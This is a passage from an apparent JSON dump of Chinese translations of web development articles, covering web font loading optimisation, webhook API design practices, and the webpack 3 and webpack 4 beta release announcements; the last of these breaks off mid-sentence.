我的观点\n\n以上是一个非常无聊的结局，不是吗？“做任何让自己开心的事”。\n\n现在来讨论一些重要的事情。**我**是怎么认为的。\n\n**我**认为网络字体应该被用作默认的操作模式，而不是作为考虑决策过程的结果。\n\n我认为，恩，一半使用网络字体的网站可以摆脱它们，并变得更好。\n\n我认为最糟糕的是由于网络字体加载速度慢而实际造成的流量流失。\n\n下面的事情尤其令人愤慨。让用户花不必要的三秒钟盯着一个空白页面来加载一个漂亮的字体。\n\n![](https://cdn-images-1.medium.com/max/2000/1*dlpNsFiPLVf7L8XTSZjsVA.png)\n\n这真的让我很恼火。\n\n就像你来我家拜访我，在我梳头发的时候，让你站在角落里盯着一堵空墙三分钟。\n\n如果你的网站是这样加载的，你实际上是在说“我的字体比我的内容和你的时间更重要”。\n\n我不会放弃这个网站（因为我喜欢这些内容，也不认为它们应该受到公众的羞辱），但你可能很想看到导致这个严重延迟的，独特且漂亮的网络字体。\n\n所以这里有一段你可以直接阅读的使用了系统字体的段落，以及一段用户等待了三秒钟才看到的使用了网络字体的段落。\n\n![](https://cdn-images-1.medium.com/max/1600/1*SvPa6OyravMecd045jf16Q.png)\n\n这是宏伟的，不是吗？甚至是雄伟的。我希望**所有**网站都让我多等待三秒钟，以便我可以一饱眼福，欣赏到真正令人兴奋的字体美。\n\n好吧，我的观点已经够了。我有点喘不过气来了，我只记得我试着不要这么讽刺。\n\n所以让我们从我的角度来看待别人的选择，并用更实际的方式来完成。\n\n### 如何正确使用网络字体\n\n与你从上面可能得到的感觉相反，我不认为网站应该完全远离网络字体。但如果你要使用它们，那就有一个正确的和错误的方法。下面你会发现这两个方法。\n\n---\n\n网络字体可能很慢的原因是浏览器在加载过程中很晚才发现它们。浏览器必须先加载一堆 HTML 和 CSS，**然后**才知道它需要加载你所需要的别致的字体。（TMD，一些讽刺滑过，抱歉。）\n\n只有这样，浏览器才会开始下载字体。以下是一个页面的资源加载情况，只包含一些 HTML，CSS 和单个网络字体：\n\n![](https://cdn-images-1.medium.com/max/1600/1*gfeEGIGmAgZ10PtxM53vSA.png)\n\n蓝色条是 HTML，紫色的是 CSS，灰色的是字体文件。\n\n你可以看到，当浏览器解析 HTML 时，它发现了 CSS 文件的引用，并开始下载它。一旦你注意到这一点，注意到只有当 CSS 被完全下载后，它才会意识到你需要一个字体。因此，该页面实际上在字体之前，甚至是在字体**开始**下载之前就已经准备好了。\n\n这有点难以理解，但通过上方的页面加载进程的截图，如果你眯着眼睛看（虽然眯着眼睛也很难看清），你可以看到只有在字体准备就绪（大约在 2400ms）的时候，文字才会被渲染。\n\n你的另一个选择是通过 CSS 加载字体 —— Google 字体鼓励你使用的代码片段。这基本上是加载一个 CSS 文件，它定义了一些指向 Google 服务器上的字体文件的字体规则。所以加载模式看起来像这样：\n\n![](https://cdn-images-1.medium.com/max/1600/1*Gdclz9iXlIXiZdP629I4AA.png)\n\n绿色是字体文件。最终结果是一样的。我们等了很长时间才开始下载字体。\n\n---\n\n但是如果你可以添加一行代码并尽快开始字体下载呢？像这样……\n\n![](https://cdn-images-1.medium.com/max/1600/1*a1AvziD3XHE_dt4u4tUW3g.png)\n\n这难道不是很棒吗?\n\n那么……在定义你的 CSS 文件和正文内容之前，把这个放在你的 HTML 中。\n\n```html\n<link\n  rel=\"preload\"\n  href=\"./fonts/sedgwick-ave-v1-latin-regular.woff2\"\n  as=\"font\"\n  type=\"font/woff2\"\n  crossorigin\n>\n<link rel=\"stylesheet\" href=\"main.css\" />\n```\n\n是的，从技术上讲，它们不在一行上。\n\n`rel=preload` 目前只覆盖了大约 50％ 的用户 [2017 年 8 月]，但它[即将登陆 Firefox 和 Safari](http://caniuse.com/#feat=link-rel-preload)，所以事情很快会变得越来越好。\n\n你的另一种选择是 `FontFace` API，它[覆盖更广](http://caniuse.com/#feat=font-loading) —— 接近 80％ 的用户。你可以在引用 CSS 之前使用它让浏览器立即下载字体。\n\n```html\n<script>\n  if ('FontFace' in window) {\n    var sedgwickAveFont = new FontFace(\n      'Sedgwick Ave',\n      'url(./fonts/sedgwick-ave-v1-latin-regular.woff2)',\n      {\n        style: 'normal',\n        weight: '400',\n      }\n    );\n    sedgwickAveFont.load().then(function() {\n      document.fonts.add(sedgwickAveFont);\n    });\n  }\n</script>\n\n<link rel=\"stylesheet\" href=\"main.css\" />\n```\n\n如果这合你意，我强烈推荐阅读[网络字体优化](https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/webfont-optimization)。\n\n结果也是一样的美好：\n\n![](https://cdn-images-1.medium.com/max/1600/1*1Igz81o2h0lfGld6ukAfrA.png)\n\n幸运的是，`.woff2` 或多或少是 `FontFace` 支持的超集，所以你只需要在使用 `FontFace` 时指定一种字体格式。\n\n然后，你可以为 `.woff` 和 `.ttf` 定义预设机制，以及其他任何你经常使用的 `@font-face` 规则。\n\n```css\n@font-face {\n  font-family: 'Sedgwick Ave';\n  font-style: normal;\n  font-weight: 400;\n  src:  url('./fonts/sedgwick-ave-v1-latin-regular.woff2') format('woff2'),\n  url('./fonts/sedgwick-ave-v1-latin-regular.woff') format('woff');\n  font-display: block;\n}\n```\n\n最后一件事情……你的字体现在开始下载得更快了，你可以完全避免可怕的 FOUT。但是在 CSS 可用和字体可用之间可能会有几百毫秒的时间。\n\n在这段时间内，浏览器知道要使用什么字体，只是还没有这个字体。很酷的是，你可以通过在 `@font-face` 规则中定义 `font-display` 属性来控制这段时间内它要做的事。\n\n在上面的例子中，我可以确定的是字体将在 CSS 加载完成后的几百毫秒内可用，因为它们的大小相同，来自同一个服务器，并且同时开始加载。\n\n在这种情况下，我想阻止文字显示直到字体可用，以避免可怕的 FOUT。我是通过将 `font-display` 设置为 `block` 来实现的。\n\n另一方面，如果你认为字体可能在 CSS 加载完成之后的几秒钟内无法可用，你可能希望将其设置为 `swap`，以便浏览器立即显示无样式的文本，从而让读者阅读。\n\n[这个规范](https://tabatkins.github.io/specs/css-font-display/#font-display-desc)以相当简单的语言解释了细节（我只读了绿色框里面的内容）。所有这些都是在2017 年 8 月的 Chrome 浏览器中才开始使用的。\n\n---\n\n下面是一段在 codepen 上的代码，它将列出一堆字体，并显示你的当前设备上支持哪些字体。\n\n我不确定它是否真的有用，但是尝试着去做是一件很有趣的事情。如果你想把一些字体添加到列表中，请告诉我。\n\n[![](https://s3-us-west-2.amazonaws.com/i.cdpn.io/326282.PKJvow.2cabcc11-62f6-4e7f-abfc-1c756aa59002.png)](https://hackernoon.com/media/39b5620b39b011d96f5a261b318ff3b7?postId=a3b4b39fe0ae)\n\n仅此而已。\n\n再见。\n\n\n  ---\n\n  > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n  "
  },
  {
    "path": "TODO/webhooks-dos-and-dont-s-what-we-learned-after-integrating-100-apis.md",
    "content": "> * 原文地址：[Webhooks do’s and dont’s: what we learned after integrating +100 APIs](https://restful.io/webhooks-dos-and-dont-s-what-we-learned-after-integrating-100-apis-d567405a3671)\n* 原文作者：[Giuliano Iacobelli](Giuliano Iacobelli)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[steinliber](https://github.com/steinliber)\n* 校对者：[xekri](https://github.com/xekri) , [DeadLion](https://github.com/DeadLion)\n\n# Webhook 该做和不该做的: 我们在整合超过 100 个 API 中所学到的\n\n\n当现在的应用变的越来越像 API 的集合而且无服务架构获得越来越多的关注时，作为一个 API 的提供者，不应该再只是暴露传统的 REST 接口。\n\n传统 REST API 的设计是用来让你可以程序化的获取或提交内容，但在你只是想如果某些信息改变，API 再通知应用程序的情况下，传统 API 还远不够好，这还远远不是最佳的实践。如果是要实现这个的话,就需要定期轮询，而且这样还会失去扩展性。\n\n\n![](https://cdn-images-1.medium.com/max/800/1*dEmrcTajSG5A4Z_JjrGqfw.png)\n\nPicture credits [Lorna Mitchell](https://medium.com/u/e6dd3fdb7c2d)\n\n\n\n为了获取一小段信息，轮询 API 通常是一种既浪费又复杂的方式。一些事件或许在一段时间内只发生一次，所以你必须推断出轮询的频率。然而即使这样你也可能错过它。\n\n> Don’t call us, we’ll call you!\n\n好的，webhook 就是这个问题的答案.  **webhook 就是 Web 服务使用 HTTP POST 请求为其他服务提供近实时信息的一种方式。**\n\n\n\n![](https://cdn-images-1.medium.com/max/800/1*8t-MNjY-6rJ79rsDnZt0rA.png)\n\nPicture credits [Lorna Mitchell](https://medium.com/u/e6dd3fdb7c2d)\n\n\n\n一个 webhook 会在它调用时就传递数据到其它的应用，这表明你可以立即得到数据。这让使用了 webhook 的生产者和消费者都变的更有效率，如果你的 API 还不支持这些，你真应该做一些关于这方面的事。\n(关注 [Salesforce](https://medium.com/u/f4fb2a348280) 了吗?).\n\n当涉及到 webhooks 的设计，现在并没有类似标准的 HTTP API 这样的规范。每个服务实现不同的 webhook， 从而导致许多不同的 webhooks 实现风格。\n\n我们在集成了来自 100 多个不同服务 API 后，可以说对外提供 webhook 的服务是个大“杀器”。当我们需要集成一个暴露 webhook 的服务时，这里有些建议能够帮助到我们。\n\n\n#### 自我解释和一致性\n\n一个好的 webhook 服务应该要尽可能多的提供被通知事件的信息，以及客户端执行该事件的其他信息。\n\n客户端在创建 POST 请求的时候应该包含一个 `timestamp` 和 `webhook_id` 字段。如果你提供的是不同类型的 webhooks，不管它们是否被发送到单个端点都应该包含一个 `type` 属性。\n\n\n\n\n![](https://cdn-images-1.medium.com/max/600/1*Yi85OX2kNJw-bbn8O0VVQQ.png)\n\nGithub webhook 携带数据的示例\n\n\n\n[GitHub](https://medium.com/u/d18563e4f2b9) 非常完美的实现了以上这点。 请不要像 Instagram 或 Eventbrite 那样，只发送一个 ID 然后使用另一个 API 来解析。\n\n\n如果你认为你的在一次请求中发送的有效数据太多，请给我机会让它变的更轻量。\n\n[Stripe](https://medium.com/u/3ecae35d6d66)’s [event types](https://stripe.com/docs/api) 就是一个很好的例子。\n\n#### 允许消费者定义多个 URLs\n\n当你构建你的 webhooks ，你应该考虑到在另一端的人必须去接收你的数据。如果只给予他们在一个网址下订阅活动的机会，那肯定不是你所可以提供的最好的开发者体验。如果我需要在不同的系统上监听相同的事件就会遇到麻烦，然后我就需要把类似 Reflector.io 的库来在系统间管理数据。[Clearbit](https://medium.com/u/ce5450a7b906) 请开发这样的好的 API, 并相应加快你的 webhook 开发进程。\n\n\n[Intercom](https://medium.com/u/7ca8972daf76) 在这方面做的非常好，让你可以添加多个 URLs，并为其中的每一个都定义想监听的事件。\n\n\n\n![](https://cdn-images-1.medium.com/max/800/1*lGfFqT7G4x3swfm1qkxjfA.png)\n\nIntercom 的 webhook 管理面板\n\n\n\n#### 基于 UI 的订阅与基于 API 的订阅\n\n一旦整合完成，我们应该如何处理实际订阅的创建？一些服务选择了使用 UI 来引导你完成订阅的设置，其他服务则为此提供了 API。\n\n\n\n![](https://cdn-images-1.medium.com/max/600/1*lQ5VTo4IF50IjaimPq-F4Q.png)\n\n\n\n[Slack](https://medium.com/u/26d90a99f605) 两种都支持。\n\n它提供了一个精巧的UI，这使创建订阅很容易，并且它也提供了一个稳定的事件 API（仍然没有提供尽可能多的事件，比如说他们的实时消息传递 API ，但我相信他们的工作）\n\n在选择是否为 Webhooks 提供 API 时，需要记住的一件重要的事情是，订阅将以什么规模和粒度提供，以及谁将会配置它们。\n\n我发现让人感到好奇的是像 [MailChimp](https://medium.com/u/772bf2413f17) 这样的工具会迫使非技术的群体混淆 webhooks 配置。这些工具通过 API 提供 webhooks ，任何具有 Mailchimp 集成的第三方服务（例如 Stamplay，Zapier 或 IFTTT）都可以通过程序化的方式来实现，从而提供更好的用户体验。\n\n\n\n![](https://cdn-images-1.medium.com/max/600/1*EEMaCdPa63smJ3oOSpQ60w.png)\n\n\n\n要通过 API 创建新的 webhooks 订阅，你就应该像 HTTP API 中的任何其他资源一样来处理 __订阅__ 。\n\n最近我们在工作中发现非常好的例子是由 Box 团队在今年[夏天](https://blog.box.com/blog/box-webhooks/)更新的 webhook 实现。\n\n#### webhooks 安全\n\n一旦有人配置他的服务从你的 webhook 接收有效信息，它将会监听任何发送到端点的有效信息。\n\n如果消费者的应用程序会暴露敏感信息，那么它可以（可选）验证请求是否由你的服务生成的，而不是第三方假装是你。这种验证不是必需的，但为消息传输提供了一个额外的验证层。\n\n现在有很多方法可以实现安全性，如果你想把安全性处理放在消费者一方，你可以选择给他一个白名单来接受指定IP地址的请求，但更容易的方法是设置一个秘密令牌并验证相关信息。\n\n这方面可以从不同程度的复杂性开始做，比如说就像 Slack 或 Facebook 做的那样，在一开始使用一个纯文本共享的秘钥。\n\n\n\n![](https://cdn-images-1.medium.com/max/800/1*qyzDKFf4CfPwJEozGIah0w.png)\n\n\n至于更复杂的实现。比如说 Mandrill 对 webhook 请求进行签名，webhook POST 请求的 HTTP 头部包含了附加的`X-Mandrill-Signature` ，这个头中将包含请求的签名。要验证 Webhook 请求，就要使用 Mandrill 相同的密钥生成签名，并将这个签名与 `X-Mandrill-Signature` 头里的值进行比较。\n\n\n#### 具有过期日期的订阅\n\n现在对外提供整合了过期时间的订阅服务可能性不是很高，但可以我们可以看到这可以作为一个更常见的功能。 Microsoft Graph API 就是一个例子。除非你进行续订，否则通过 API 执行的任何订阅都将在 72 小时后过期。\n\n从数据提供商的角度来看，这是有道理的。你不想继续向可能不再运行或对你数据感兴趣的服务发送 POST 请求，但对所有真正对此感兴趣的用户来说，这是一个令人不快的体验。你是微软：如果你做不了应该做的繁重工作那又应该谁去做呢？\n\n#### 总结\n\nwebhook 领域的设计仍然是分散的，但是常见的模式终究会显露出来。\n\n在 [**Stamplay**](https://stamplay.com/) API 集成是一个问题。我们每天都面临着集成的挑战，像 Swagger ，RAML 或 API Blueprint 这样的 OpenAPI 规范并不能有所帮助，因为它们都不支持webhook 场景。\n\n所以如果你正在考虑实现 webhooks ，我邀请你想想他们的使用说明，看看例子\n[GitHub](https://medium.com/u/d18563e4f2b9), [Stripe](https://medium.com/u/3ecae35d6d66), [Intercom](https://medium.com/u/7ca8972daf76) 和 [Slack API](https://medium.com/u/272cd95a3742).\n\nPS. [Medium](https://medium.com/u/504c7870fdb6) 任何关于 webhooks 的想法？拜托，RSS 是老一套的做法啦。\n\n**更新**: Medium 实际上提供了一种通过 [http://medium.superfeedr.com/](http://medium.superfeedr.com/) 实时通知的方式👌\n\n"
  },
  {
    "path": "TODO/webpack-3-official-release.md",
    "content": "> * 原文地址：[webpack 3: Official Release!!](https://medium.com/webpack/webpack-3-official-release-15fd2dd8f07b)\n> * 原文作者：[Sean T. Larkin](https://medium.com/@TheLarkInn)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[xilihuasi](https://github.com/xilihuasi)\n> * 校对者：[achilleo](https://github.com/achilleo)\n\n---\n\n![](https://cdn-images-1.medium.com/max/1000/1*Ac4K68j43uSbvHnKZKfXPw.jpeg)\n\n终于来了，美妙极了。\n\n# 🍾🚀 webpack 3：官方发布！！ 🚀🍾\n\n## 作用域提升，“魔法注解”，以及其他更多特性！\n\n在我们发布 webpack v2 之后，我们对社区做了一些许诺。我们承诺将在未来发布一些你们投票选出的特性。此外，我们的周期发布将会**更快**，**更稳定**。\n\n不再有一年之久的测试版本，版本之间不再有爆炸性的变化。我们以**你们和社区让 webpack 更繁荣**的名义，保证你们行使自己的权利。\n\nwebpack 团队自豪地宣布，今天 webpack 3.0.0 发布啦！！！今天你就可以下载或更新！！\n\n`npm install webpack@3.0.0 --save-dev`\n\n或者\n\n`yarn add webpack@3.0.0 --dev`\n\n---\n\n从 webpack 2 迁移到 3，应该 **只需在 terminal 中执行升级命令。** 因为内部的重大改变可能会影响一些插件，我们把这项特性作为重要更新收录了。\n\n**目前为止98% 的用户在升级后没有影响原有功能的使用**\n\n### 有哪些更新？\n\n正如前面提到的，我们旨在发布你们[投票选出](https://webpack.js.org/vote)的那些特性！由于 GitHub 上大量的贡献，以及来自我们支持者和赞助商的支持，我们已经有实现所有这些特性的能力。 😍\n\n#### 🔬 作用域提升 🔬\n\n作用域提升是 webpack 3 的主要功能。之前版本的 webpack 在打包时的一个妥协是包里面的每个模块都会被包装到一个独立的函数闭包中。这些包装函数使你在浏览器中执行的 JavaScript 代码变得更慢。相比之下，例如 Closure Compiler 和 RollupJs 这样的工具把所有模块的作用域‘提升’或者串联在一个闭包，并且使你的代码在浏览器中有更快的执行时间。\n\n[![](https://ws4.sinaimg.cn/large/006tKfTcgy1fgrga21tuwj30jn0923zk.jpg)](https://twitter.com/tizmagik/status/876128847682523138?ref_src=twsrc%5Etfw&ref_url=https%3A%2F%2Fmedium.com%2Fmedia%2F4533845503a873853b93e6aaf0833c57%3FpostId%3D15fd2dd8f07b)\n\n直至今天，使用 webpack 3，你可以**马上把如下插件添加到你的配置中来启用作用域提升：**\n\n    module.exports = {\n      plugins: [\n        new webpack.optimize.ModuleConcatenationPlugin()\n      ]\n    };\n\n具体而言，作用域提升是一个基于 ECMAScript Module 语法的特性。正因如此，webpack 可能会根据你使用的模块种类，以及[其他条件](https://medium.com/webpack/webpack-freelancing-log-book-week-5-7-4764be3266f5)回退到普通的打包方式。\n\n为了随时了解什么触发了这些回退，我们添加了一个 `--display-optimization-bailout` 命令行标志来告诉你什么因素导致了这些回退。\n\n[![](https://ws3.sinaimg.cn/large/006tKfTcgy1fgrgbhk955j30j806lt9e.jpg)](https://twitter.com/jeremenichelli/status/876527176606265344?ref_src=twsrc%5Etfw&ref_url=https%3A%2F%2Fmedium.com%2Fmedia%2F6663aed6525e9200886db81c9415337c%3FpostId%3D15fd2dd8f07b)\n\n因为作用域提升将移除模块的函数包装，你将会看到文件大小的少量精简。然而，更显著的提升在于，浏览器加载 JavaScript 的时候有多么迅速。如果你在做了比较之后感到很爽，或者自由地获取数据响应，那就快去跟朋友分享吧！\n\n#### 🔮 ”魔法注解” 🔮\n\n当我们在 webpack 2 中介绍动态引入语法（ `import()` ）的使用时，用户们担心他们不能像使用 `require.ensure` 一样创建命名块。\n\n我们现在已经采用了社区创造的“魔法注解”，拥有传递块名的能力，[以及其他](https://medium.com/webpack/how-to-use-webpacks-new-magic-comment-feature-with-react-universal-component-ssr-a38fd3e296a)就像 `import()` 语句的行内注释。\n\n\n```\nimport(/* webpackChunkName: \"my-chunk-name\" */ 'module');\n```\n\n通过使用注解，我们可以保证加载的规范，并且仍然提供你喜欢的块命名特性。虽然这些技术性的特性我们已经在 v2.4 和 v2.6 中发布了，我们努力提升稳定性及修复 bug 来保证这些特性在 v3 中正式落地。现在已经可以使用和 `require.ensure` 一样灵活的动态引入语法了。\n\n[![](https://ws3.sinaimg.cn/large/006tKfTcgy1fgrgcvddj9j30ie0dodh5.jpg)](https://twitter.com/AdamRackis/status/872602076056088576/photo/1?ref_src=twsrc%5Etfw&ref_url=https%3A%2F%2Fmedium.com%2Fmedia%2Ffd3c12141eb0e7363d3e33feb528480c%3FpostId%3D15fd2dd8f07b)\n\n想要了解更多资讯，来看我们的[代码拆分的最新文档指南](https://webpack.js.org/guides/code-splitting-async)详细了解这些特性！！！\n\n### 😍 然后呢？ 😍\n\n我们还有一些特性和功能加强希望提供给你们！！！但是饭得一口一口吃，事情要一件一件做，在我们的[**投票页面，给投那些你想看到的特性吧！**](http://webpack.js.org/vote)\n\n这里还有一些我们仍然想提供给你们的东西：\n\n- 更好地构建缓存\n- 更快的初始和增量版本\n- 更好的 TypeScript 体验\n- 改进长期缓存\n- MASM 模块支持\n- 提升用户体验\n\n\n### 🙇 感谢 🙇\n\n所有我们的用户、贡献者、文档作者、博客主、赞助商、支持者和维护者，都是这些年来帮助我们保证 webpack 成功的投资人。\n\n为此，感谢你们所有人。是你们使这些成为了可能，我们已经迫不及待跟你们分享未来我们还有哪些黑科技了！！\n\n---\n\n**没时间帮助贡献？想用其他方式回馈？我们的 [open collective](http://opencollective.com/webpack)。Open Collective 不仅支撑整个核心团队，而且还帮助那些在业余时间花了大量时间来提升我们组织的贡献者们！ ❤**\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/webpack-4-beta-try-it-today.md",
    "content": "> * 原文地址：[🚀webpack 4 beta — try it today!🚀](https://medium.com/webpack/webpack-4-beta-try-it-today-6b1d27d7d7e2)\n> * 原文作者：[Sean T. Larkin](https://medium.com/@TheLarkInn?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/webpack-4-beta-try-it-today.md](https://github.com/xitu/gold-miner/blob/master/TODO/webpack-4-beta-try-it-today.md)\n> * 译者：[FateZeros](https://github.com/FateZeros)\n> * 校对者：[kangkai124](https://github.com/kangkai124)  [MechanicianW](https://github.com/MechanicianW)\n\n# 🚀webpack 4 测试版 —— 现在让我们先一睹为快吧！🚀\n\n![](https://cdn-images-1.medium.com/max/2000/1*BxhnE90lRYeLTxatyRDmqQ.jpeg)\n\n为了支持数以百万计的功能，用例和需求，它需要一个安全，稳定，可靠和可拓展的基础。只有 webpack 具有无限的可能性。\n\n## 稳定的发布之路！\n\n自八月初以来 —— 当我们从 `**webpack/webpack#master**` 中分出 `**next**` 分支的时候 —— 我们看到了惊人的贡献量涌入。\n\n![](https://cdn-images-1.medium.com/max/800/1*kJm7dIWWR7DzZa-OW_z6gQ.png)\n\n可以使用 [gitinspector](https://github.com/ejwa/gitinspector) 一目了然地查看 webpack **next** 分支上的 Git 贡献统计信息。可以在你的项目上尝试一下，来仔细研究下。 **PS：这还不包括我们的 webpack-cli 团队 和 webpack-contrib 组织，他们在支持加载器和插件上面做了大量的工作。**\n\n**🎉 今天，我们很自豪能够通过发布 webpack 4.0.0 - beta.0 来分享这项工作的成果！** **🎉**\n\n#### 🎁一个实现的承诺 —— 可预测的发布周期\n\n当我们完成了 webpack 3 的发布之后，我们向社区保证，主要版本的更迭会有一个更长的开发周期。\n\n我们已经兑现了这个承诺[并继续为之付诸实施]，给你们带来了一大套特性，改进和错误修复，我们已经迫不及待地期待你们的实践！开始吧！\n\n#### 🤷‍怎么安装 [v4.0.0-beta.0]\n\n如果你用的是 `yarn`:\n\n`yarn add webpack@next webpack-cli --dev`\n\n或者 `npm`:\n\n`npm install webpack@next webpack-cli --save-dev`\n\n#### 🛠怎么迁移？\n\n只有更多的人帮助测试 webpack 4，并且反馈不兼容的插件和加载器，我们才能构建一份更加生动的迁移指南。\n\n**因此我们需要你看看**[**官方的更新日志**](https://github.com/webpack/webpack/releases/tag/v4.0.0-beta.0) **还有**[**我们的迁移草案**](https://github.com/webpack/webpack/issues/6357)**并提供我们有所缺失的反馈！这将帮助我们的文档团队创建我们的官方稳定版本迁移指南！**\n\n### webpack 4 中有什么新功能呢？\n\n下面就是一些你将会喜欢看到的更值得注意的功能。若想了解更新，功能和内部 API 修改的**完整的清单**,[**请参阅我们的修改日志**](https://github.com/webpack/webpack/releases/tag/v4.0.0-beta.0)\n\n### 🚀更好的性能\n\n在 webpack 4 的多个场景中，性能将显着增强。下面是我们为实现这一目标而做出的一些显著改动：\n\n* 默认情况下，在使用 `production` 模式时，我们会使用 UglifyJS 自动并行编译和缓存来减少工作量 。\n* 我们发布了一个新版的[**插件系统**](https://github.com/webpack/tapable)以便事件钩子和处理函数是单一形态的。\n* 另外，webpack 现已放弃对 Node v4 的支持，使我们能够添加大量的新型 ES6 语法和数据结构，并且也通过 V8 进行了优化。**迄今为止，我们已经收到几份[构建时间由 1 小时减少到 12 分钟](https://github.com/webpack/webpack/issues/6248)的真实报告**！\n\nPS: 我们还没有完全实现缓存和并行化 😉 这是[webpack 5 的里程碑]。\n\n### 🔥更好的默认配置 —— 零配置\n\n直到今天，webpack 一直要求你明确设置你的 `entry` 和 `output` 属性。对于 webpack 4 ，webpack 会自动假设你的 `entry` 属性是 `./src`，并且打包会默认输出到 `./dist` 中。\n\n这意味着 **你开始使用 webpack 不再需要一个配置！**\n\n![](https://cdn-images-1.medium.com/max/1000/1*SmNPl3vyqGNg6Mqy0GqKyg.png)\n\nwebpack 4.0.0-beta.0 运行一个没有配置的版本\n\n现在 webpack 是一个零配置开箱即用的打包器，我们将为 **4.x** 和 **5.0** 奠定基础，以便将来提供更多的默认功能。\n\n### 💪更好的默认模式 —— mode\n\n你现在必须在两种模式之间选择 (`mode` 或 `--mode`)：`production` 或 `development`\n\n* 生产模式可以为你提供各种优化。这包含代码压缩，作用域提升，未引用模块移除，无副作用模块修剪，还包含引入一些像 `NoEmitOnErrorsPlugin` 这样需要你手动使用的插件。\n* 开发模式优化了开发速度和开发体验。同样，我们会自动在你的包输出中包含像路径名，eval-source-maps 这样的功能，以便阅读代码和快速构建！\n\n### 🍰sideEffects 设置 —— 在打包体积上巨大的胜利\n\n我们在 package.json 中引入了对 `sideEffects: false` 的支持。当这个字段被添加时，它向 webpack 发出信号，表示被使用的库没有副作用。这意味着 webpack 可以安全地清除你代码中使用的任何重复导出模块。\n\n例如，从 `lodash-es` 中单独导入 `export` 将会花费 ~223 KiB [压缩后的]。**在 webpack 4 中，现在这只花费 ~3 KiB !**\n\n![Snipaste_2018-01-27_16-52-08.png](https://i.loli.net/2018/01/27/5a6c3dc6a8391.png)\n\n### 🌳支持 JSON 和 Tree Shaking\n\n当你使用 ESModule 语法 `import` JSON 时，webpack 会消除 “JSON Module” 中未使用的导出。对于那些已经将大量未使用模块的 JSON 导入到你的代码的应用，你会看到 **你打包体积明显减小**。\n\n### 😍升级到 UglifyJS2\n\n这意味着你可以使用 ES6 语法，压缩它，而无需使用转换器。\n\n我们要感谢 UglifyJs2 的贡献者团队为支持 ES6 而付出的无私和辛勤的努力。这不是一件简单的任务，我们很乐意拜访[你们的代码仓库来表达对你们的感谢和支持](https://github.com/mishoo/UglifyJS2/graphs/contributors?from=2017-01-14&to=2018-01-25&type=c)。\n\n![](https://cdn-images-1.medium.com/max/800/1*rt3uFkb9IAHddXLxYMjCgw.png)\n\nUglifyJS2 现在支持 ES6 JavaScript 语法！\n\n### 🐐 模块类型的引入 + 支持 .mjs\n\n历史上，JavaScript 是 webpack 中唯一的一流模块类型。这给那些不能高效的打包 CSS/HTML 的用户带来了很多尴尬的痛苦。我们完全从我们的代码库中抽象出了 JavaScript 特性，以允许这个新的 API。目前建成，我们现在有5个模块类型实现引入：\n\n* `javascript/auto`: (在 **webpack 3** 默认启用) 启用了所有的 Javascript 模块系统：CommonJS，AMD，ESM\n* `javascript/esm`: EcmaScript 模块，所有的其他模块系统不可用（默认 .mjs 文件）\n* `javascript/dynamic`: 只有 CommonJS 和，EcmaScript 模块不可用\n* `json`: JSON 数据，它可以通过 require 和 import 来引入使用（默认 .json 的文件）\n* `webassembly/experimental`: WebAssembly模块（当前为 .wasm 文件的实验文件和默认文件）\n* 另外 webpack 现在支持查找 `.wasm`, `.mjs`, `.js` 和 `.json` 拓展文件来解析\n\n**这个功能最让人兴奋的是，我们可以继续使用 CSS 和 HTML 模块模型 （4.x）。**这将允许像 HTML 这样的功能作为你的入口点！\n\n### 🔬支持 WebAssembly\n\nWebpack 现在默认支持任何本地 WebAssembly 模块的 `import` 和 `export`。这意味着你也可以写加载器，让你可以直接 `import` Rust，C++，C 和其他 WebAssembly 语言：\n\n### 💀去除 CommonsChunkPlugin\n\n我们也删除了 `CommonsChunkPlugin`，并默认启用了它的许多功能。另外，对于需要对其缓存策略进行细粒度控制的用户，我们已经添加了 `optimization.splitChunks` 和 `optimization.runtimeChunk` [它们具有更丰富，更灵活的功能](https://gist.github.com/sokra/1522d586b8e5c0f5072d7565c2bee693)\n\n### 💖还有更多！\n\n还有很多的功能 **我们强烈建议你在我们的**[**官方更新日志**](https://github.com/webpack/webpack/releases/tag/v4.0.0-beta.0)上查看所有。\n\n### ⌚ 从现在开始倒计时\n\n**正如所承诺的那样，我们将从今天开始等待一个月，然后再发布 webpack 4 稳定版。** 这使我们的插件，加载器和集成生态系统有时间去测试，报告并升级到 webpack 4.0.0 中！\n\n![Snipaste_2018-01-27_16-54-02.png](https://i.loli.net/2018/01/27/5a6c3e33c6cd1.png)\n\n我们需要你帮助我们升级和测试这个测试版。我们今天测试的越多，我们就可以更快的分诊和识别任何可能出现的问题！\n\n非常感谢所有帮助我们完成 webpack 4 的贡献者。正如我们所说，wepack 的成就是我们大家和生态系统的共同努力造就的。\n\n* * *\n\n没有时间帮忙贡献？想要以其他方式回馈？通过[捐助给我们的开放集体](https://opencollective.com/webpack)成为 webpack 的支持者或赞助商。开放集体不仅有助于支持核心团队，也支持花费了大量空闲时间改善组织的贡献者！ ❤\n\n感谢[Florent 